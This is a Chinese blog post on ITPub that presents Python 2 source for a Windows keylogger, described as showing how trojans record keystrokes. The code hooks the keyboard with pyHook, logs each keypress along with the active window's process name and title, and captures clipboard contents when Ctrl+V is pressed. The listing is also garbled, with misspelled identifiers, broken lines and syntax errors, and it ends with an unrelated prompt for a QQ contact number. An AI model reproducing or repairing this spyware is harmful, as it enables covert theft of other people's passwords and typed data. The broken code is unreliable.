ITPub博客

首页 > 应用开发 > Python > 想知道木马程序的键盘记录原理吗?python告诉你 !

想知道木马程序的键盘记录原理吗?python告诉你 !

原创 Python 作者:冷冷的夏天 时间:2019-01-30 22:43:36 0 删除 编辑

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。


# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Notedef get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程
IDpid = c_ulong(0)
user32.  GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量
中process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭
handleskernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global 
current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 
and 
event.Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key  == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard.GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),else:print "[%s]" %event.Key,
#循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()
#联系方式
learning  = input("Do you want to learn \python now(Yes or no)")
a = str(learning)if a =='Yes' :
print('QQ :1346525417 ')
eles:
print('Tthanks')

学习从来不是一个人的事,欢迎大家留言评论,共同学习,私信加我, 即可领取全套资料


来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/69908863/viewspace-2565291/,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论

注册时间:2019-01-29

  • 博文量
    14
  • 访问量
    3344